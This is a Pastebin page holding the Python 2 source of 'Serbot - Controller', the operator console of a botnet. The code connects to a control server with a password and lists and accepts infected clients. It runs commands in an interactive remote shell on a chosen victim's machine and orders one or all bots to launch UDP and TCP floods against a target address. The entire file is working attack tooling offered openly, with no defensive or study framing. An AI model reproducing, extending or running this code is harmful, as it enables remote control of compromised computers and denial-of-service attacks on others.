Advertisement
Guest User

Serbot - Controller

a guest
Nov 27th, 2014
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.42 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. #v1
  3.  
  4. import subprocess, os, sys, time, threading
  5. from socket import *
  6.  
  7. intro = """
  8. ____ ____ ____ ____ ____ ____
  9. ||S |||e |||r |||b |||o |||t ||
  10. ||__|||__|||__|||__|||__|||__||
  11. |/__\|/__\|/__\|/__\|/__\|/__\|
  12.  
  13. Coded by: dotcppfile
  14. Twitter: https://twitter.com/dotcppfile
  15. Blog: http://dotcppfile.worpdress.com"
  16. """
  17.  
  18. commands = """---------
  19. Commands:
  20. ---------
  21. accept                  | Accept connections
  22. list                    | List connections
  23. interact <id>           | Interact with client
  24. udpflood <ip>:<port>    | UDP flood threw client
  25. udpfloodall <ip>:<port> | UDP flood threw All clients
  26. tcpflood <ip>:<port>    | TCP flood threw client
  27. tcpfloodall <ip>:<port> | TCP flood threw All clients
  28. stop                    | Stop interacting with client
  29. clear                   | Clear the console
  30. quit                    | Close all connections and quit
  31. credits                 | Show Credits
  32. help                    | Show this message
  33. \n"""
  34.  
  35. if (len(sys.argv) == 4):
  36.     host = sys.argv[1]
  37.     port = int(sys.argv[2])
  38.     password = sys.argv[3]
  39. else:
  40.     sys.exit("Usage: client.py <server ip> <server bridge port> <password>")
  41.  
  42. def main():
  43.     print intro, commands
  44.     try:
  45.         s=socket(AF_INET, SOCK_STREAM)
  46.         s.connect((host,port))
  47.     except:
  48.         sys.exit("[ERROR] Can't connect to server")
  49.    
  50.     s.send(password)
  51.  
  52.     while 1:
  53.         try:
  54.             command = raw_input("> ")
  55.             if (command == "accept"):
  56.                 s.send("accept")
  57.                 print s.recv(4096)
  58.             elif (command == "list"):
  59.                 print "--------\nClients:\n--------"
  60.                 s.send("list")
  61.                 print s.recv(4096)
  62.             elif ("interact " in command):
  63.                 s.send(command)
  64.                 temporary = s.recv(4096)
  65.                 print temporary
  66.                 if ("ERROR" not in temporary):
  67.                     victimpath = s.recv(4096)
  68.                     if ("ERROR" not in victimpath):
  69.                         while 1:
  70.                             data = raw_input(victimpath)
  71.                             if (("cd " not in data) and (data != "stop") and (data != "")):
  72.                                 s.send(data)
  73.                                 temporary = s.recv(4096)
  74.                                 print temporary
  75.                                 if (("udpflood " in data) or ("tcpflood " in data)):
  76.                                     print "[INFO] You better wait 90 seconds mate...\n"
  77.                                 if ("ERROR" in temporary):
  78.                                     break
  79.                             elif (data == "stop"):
  80.                                 s.send("stop")
  81.                                 print "\n"
  82.                                 break
  83.                             elif ("cd " in data):
  84.                                 s.send(data)
  85.                                 victimpath = s.recv(4096)
  86.                                 if ("ERROR" in victimpath):
  87.                                     print victimpath
  88.                                     break
  89.                             elif (data == ""):
  90.                                 print "[ERROR] Nothing to be sent...\n"
  91.                     else:
  92.                         print victimpath
  93.                         break
  94.             elif ("udpfloodall " in command):
  95.                 s.send(command)
  96.                 print "[INFO] You better wait 90 seconds mate...\n"
  97.             elif ("tcpfloodall " in command):
  98.                 s.send(command)
  99.                 print "[INFO] You better wait 90 seconds mate...\n"
  100.             elif(command == "clear"):
  101.                 if sys.platform == 'win32':
  102.                     os.system("cls")
  103.                 else:
  104.                     os.system("clear")
  105.             elif(command == "quit"):
  106.                 s.send("quit")
  107.                 s.close()
  108.                 break
  109.             elif(command == "help"):
  110.                 print commands
  111.             elif(command == "credits"):
  112.                 print "--------\nCredits:\n--------\nCoded by: dotcppfile\nTwitter: https://twitter.com/dotcppfile\nBlog: http://dotcppfile.worpdress.com\n"
  113.             else:
  114.                 print "[ERROR] Invalid Command\n"
  115.         except KeyboardInterrupt:
  116.             try:
  117.                 s.send("quit")
  118.                 s.close()
  119.                 print ""
  120.                 break
  121.             except:
  122.                 pass
  123.         except:
  124.             print "[INFO] Connection Closed"
  125.             s.close()
  126.             break
  127.        
  128. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement